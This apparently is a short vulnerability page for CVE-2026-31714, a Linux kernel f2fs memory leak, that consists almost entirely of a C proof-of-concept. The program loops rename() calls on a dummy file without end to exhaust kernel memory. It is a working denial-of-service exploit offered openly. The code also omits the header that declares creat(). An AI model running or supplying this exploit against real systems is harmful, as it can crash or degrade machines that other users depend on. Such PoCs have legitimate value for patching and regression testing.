CVE-2026-31714: Linux内核f2fs内存泄漏漏洞

/* * PoC for CVE-2026-31714 * Description: Trigger memory leak in f2fs_rename by renaming files in a loop. * Compilation: gcc -o poc_rename poc_rename.c */ #include <stdio.h> #include <unistd.h> int main() { const char *old_name = "test_file_old"; const char *new_name = "test_file_new"; int i = 0; // Create a dummy file if it doesn't exist creat(old_name, 0644); printf("Starting rename loop to trigger memory leak...\n"); while (1) { if (rename(old_name, new_name) == 0) { // Swap back for next iteration rename(new_name, old_name); i++; if (i % 10000 == 0) { printf("Renamed %d times. Check kernel memory usage.\n", i); } } else { perror("rename failed"); break; } } return 0; }